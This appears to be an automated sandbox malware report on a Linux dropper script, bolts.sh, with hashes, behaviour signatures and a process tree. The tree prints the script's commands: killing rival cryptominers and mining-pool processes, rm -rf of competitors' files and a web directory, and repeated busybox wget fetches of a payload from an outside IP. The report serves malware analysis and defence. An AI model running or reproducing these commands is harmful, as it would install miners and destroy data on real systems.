f9ff724662898af2d7f86f6cbb6be814bd0b64e91d5b361539860e1e97eb9a9a

Analysis

max time kernel
131s
max time network
132s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260513-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
27/05/2026, 04:25

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General

Target
bolts.sh
Size 1KB
Sample260527-e2dt1ahv7s
SHA256 f9ff724662898af2d7f86f6cbb6be814bd0b64e91d5b361539860e1e97eb9a9a
MD5 df970d0f6d05021ff52bc7dd2f2577c5
SHA1 8c07067e750f9f56449531aecc14a43e7c40bf2f
SHA512 c91f52802f0b8889f42084a34349786992e6094b3d70d4453157f2c259508c55d2efe7188c824b8256b438acfa7be7c90de9950df3c651b741304fe0d4dfec7d
TLSH
T11741CEE664E2BDE83895A99DB263421C14D4FAC85CFB478C780D7D35B346408F6263EC
MD5 SHA1 SHA512 TLSH

Score

6^/10

discovery

Malware Config

Signatures

Enumerates running processes
Discovers information about currently running processes on the system

Reads CPU attributes 1 TTPs 23 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/513/status	pkill
File opened for reading	/proc/86/status	pkill
File opened for reading	/proc/566/status	pkill
File opened for reading	/proc/1066/status	pkill
File opened for reading	/proc/1203/cmdline	pkill
File opened for reading	/proc/20/status	pkill
File opened for reading	/proc/165/status	pkill
File opened for reading	/proc/28/status	pkill
File opened for reading	/proc/163/status	pkill
File opened for reading	/proc/9/status	pkill
File opened for reading	/proc/631/status	pkill
File opened for reading	/proc/412/status	pkill
File opened for reading	/proc/28/cmdline	pkill
File opened for reading	/proc/22/status	pkill
File opened for reading	/proc/172/status	pkill
File opened for reading	/proc/176/cmdline	pkill
File opened for reading	/proc/515/status	pkill
File opened for reading	/proc/1080/cmdline	pkill
File opened for reading	/proc/405/cmdline	pkill
File opened for reading	/proc/166/status	pkill
File opened for reading	/proc/14/cmdline	pkill
File opened for reading	/proc/1471/status	pkill
File opened for reading	/proc/79/cmdline	pkill
File opened for reading	/proc/451/cmdline	pkill
File opened for reading	/proc/1247/status	pkill
File opened for reading	/proc/432/status	pkill
File opened for reading	/proc/174/status	pkill
File opened for reading	/proc/490/status	pkill
File opened for reading	/proc/3/status	pkill
File opened for reading	/proc/1080/cmdline	pkill
File opened for reading	/proc/1150/status	pkill
File opened for reading	/proc/479/status	pkill
File opened for reading	/proc/14/cmdline	pkill
File opened for reading	/proc/80/cmdline	pkill
File opened for reading	/proc/2/status	pkill
File opened for reading	/proc/490/cmdline	pkill
File opened for reading	/proc/1519/status	pkill
File opened for reading	/proc/1057/status	pkill
File opened for reading	/proc/656/status	pkill
File opened for reading	/proc/11/status	pkill
File opened for reading	/proc/31/cmdline	pkill
File opened for reading	/proc/956/cmdline	pkill
File opened for reading	/proc/1060/status	pkill
File opened for reading	/proc/917/status	pkill
File opened for reading	/proc/432/cmdline	pkill
File opened for reading	/proc/974/status	pkill
File opened for reading	/proc/1045/cmdline	pkill
File opened for reading	/proc/12/status	pkill
File opened for reading	/proc/1054/cmdline	pkill
File opened for reading	/proc/173/cmdline	pkill
File opened for reading	/proc/1057/status	pkill
File opened for reading	/proc/1035/status	pkill
File opened for reading	/proc/178/status	pkill
File opened for reading	/proc/2/status	pkill
File opened for reading	/proc/679/status	pkill
File opened for reading	/proc/161/cmdline	pkill
File opened for reading	/proc/1256/status	pkill
File opened for reading	/proc/1005/status	pkill
File opened for reading	/proc/28/status	pkill
File opened for reading	/proc/1203/status	pkill
File opened for reading	/proc/30/cmdline	pkill
File opened for reading	/proc/1084/cmdline	pkill
File opened for reading	/proc/78/cmdline	pkill
File opened for reading	/proc/16/cmdline	pkill

Writes file to shm directory 1 IoCs

Malware can drop malicious files in the shm directory which will run directly from RAM.

description	ioc	Process
File opened for modification	/dev/shm/lrt	bolts.sh

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/lrt	bolts.sh

/tmp/bolts.sh
/tmp/bolts.sh
1⤵
- Writes file to shm directory
- Writes file to tmp directory
PID:1475
- /usr/bin/pkill
  pkill -f monitorx
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1476
- /bin/rm
  rm -rf /tmp/cbee9376_monitorx
  2⤵
  PID:1477
- /usr/bin/pkill
  pkill -f xmrig
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1478
- /usr/bin/pkill
  pkill -f watcher
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1479
- /usr/bin/pkill
  pkill -f /tmp/a
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1480
- /usr/bin/pkill
  pkill -f health.sh
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1481
- /bin/rm
  rm -rf /tmp/.XIN-unix
  2⤵
  PID:1482
- /usr/bin/pkill
  pkill -f .XIN-unix
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1483
- /usr/bin/pkill
  pkill -9 vim
  2⤵
  - Reads CPU attributes
  PID:1484
- /bin/rm
  rm -rf /tmp/vim
  2⤵
  PID:1485
- /bin/rm
  rm -rf /var/www/futureoftaste
  2⤵
  PID:1486
- /bin/rm
  rm -rf /etc/id.services.conf
  2⤵
  PID:1487
- /usr/bin/pkill
  pkill -f /etc/32678
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1488
- /usr/bin/pkill
  pkill -f /tmp/runnv/lived.sh
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1491
- /bin/rm
  rm -rf /tmp/runnv
  2⤵
  PID:1493
- /usr/bin/pkill
  pkill -f 49nbZB84CgbenDUfv4hxbHJSqgbmSmTsdiJqFyeNF6E4Hbvj8CeF6j1KbFLoWzcvEsZMqZXEedrPZKpYgAbAKrUgLFNzSDz
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1495
- /bin/rm
  rm -rf /tmp/xmrig.tar.gz
  2⤵
  PID:1496
- /usr/bin/pkill
  pkill -f pool.hashvault.pro
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1497
- /bin/rm
  rm -rf /tmp/kamd64
  2⤵
  PID:1498
- /bin/rm
  rm -rf /tmp/p.sh
  2⤵
  PID:1499
- /usr/bin/pkill
  pkill -f /tmp/kamd64
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1500
- /usr/bin/pkill
  pkill -f /tmp/p.sh
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1501
- /usr/bin/pkill
  pkill -f ./ddd
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1502
- /usr/bin/pkill
  pkill -f kinsing
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1503
- /bin/rm
  rm -rf /etc/data/kinsing
  2⤵
  PID:1504
- /bin/rm
  rm -rf /.local/share/.05bf0e9b
  2⤵
  PID:1505
- /bin/rm
  rm -rf /tmp/dockerd
  2⤵
  PID:1506
- /bin/rm
  rm -rf /tmp/docker-daemon
  2⤵
  PID:1507
- /bin/rm
  rm -rf /tmp/update
  2⤵
  PID:1508
- /usr/bin/pkill
  pkill -9 dockerd
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1509
- /usr/bin/pkill
  pkill -9 /tmp/docker-daemon
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1510
- /usr/bin/pkill
  pkill -9 /tmp/update
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1511
- /bin/rm
  rm -rf /etc/rondo/rondo
  2⤵
  PID:1512
- /bin/rm
  rm -rf /etc/profile.d/d.sh
  2⤵
  PID:1513
- /bin/rm
  rm -rf /tmp/bolts.sh /tmp/systemd-private-cd53eb919a7d4ec7961532b7b92fc37d-ModemManager.service-leGzA3 /tmp/systemd-private-cd53eb919a7d4ec7961532b7b92fc37d-bolt.service-b71wWH /tmp/systemd-private-cd53eb919a7d4ec7961532b7b92fc37d-colord.service-n4SOzN /tmp/systemd-private-cd53eb919a7d4ec7961532b7b92fc37d-systemd-resolved.service-vAMfdg /tmp/systemd-private-cd53eb919a7d4ec7961532b7b92fc37d-systemd-timedated.service-1Xt4G7
  2⤵
  PID:1514
- /usr/bin/pkill
  pkill -f "zpool|c3pool|nanopool|supportxmr|hashvault|p2pool|skypool|xmrpool|herominers|antpool|monerohash|zergpool|mining-dutch|solopool"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1515
- /usr/bin/pkill
  pkill -f fkkkf
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1516
- /bin/rm
  rm -rf /tmp/fkkkf
  2⤵
  PID:1517
- /usr/bin/pkill
  pkill -f .dnsupd
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1518
- /usr/bin/pkill
  pkill -f n0de
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1519
- /bin/rm
  rm -rf /var/tmp/.font/n0de
  2⤵
  PID:1520
- /usr/bin/pkill
  pkill -f alive.sh
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1521
- /bin/busybox
  busybox wget http://31.58.226.146/nuts/poop -qO-
  2⤵
  PID:1534
- /bin/busybox
  busybox wget http://31.58.226.146/nuts/poop -qO-
  2⤵
  PID:1535
- /bin/busybox
  busybox wget http://31.58.226.146/nuts/poop -qO-
  2⤵
  PID:1536
- /bin/busybox
  busybox wget http://31.58.226.146/nuts/poop -qO-
  2⤵
  PID:1533
- /bin/busybox
  busybox wget http://31.58.226.146/nuts/poop -qO-
  2⤵
  PID:1537
- /bin/busybox
  busybox wget http://31.58.226.146/nuts/poop -qO-
  2⤵
  PID:1538
- /bin/busybox
  busybox wget http://31.58.226.146/nuts/poop -qO-
  2⤵
  PID:1539

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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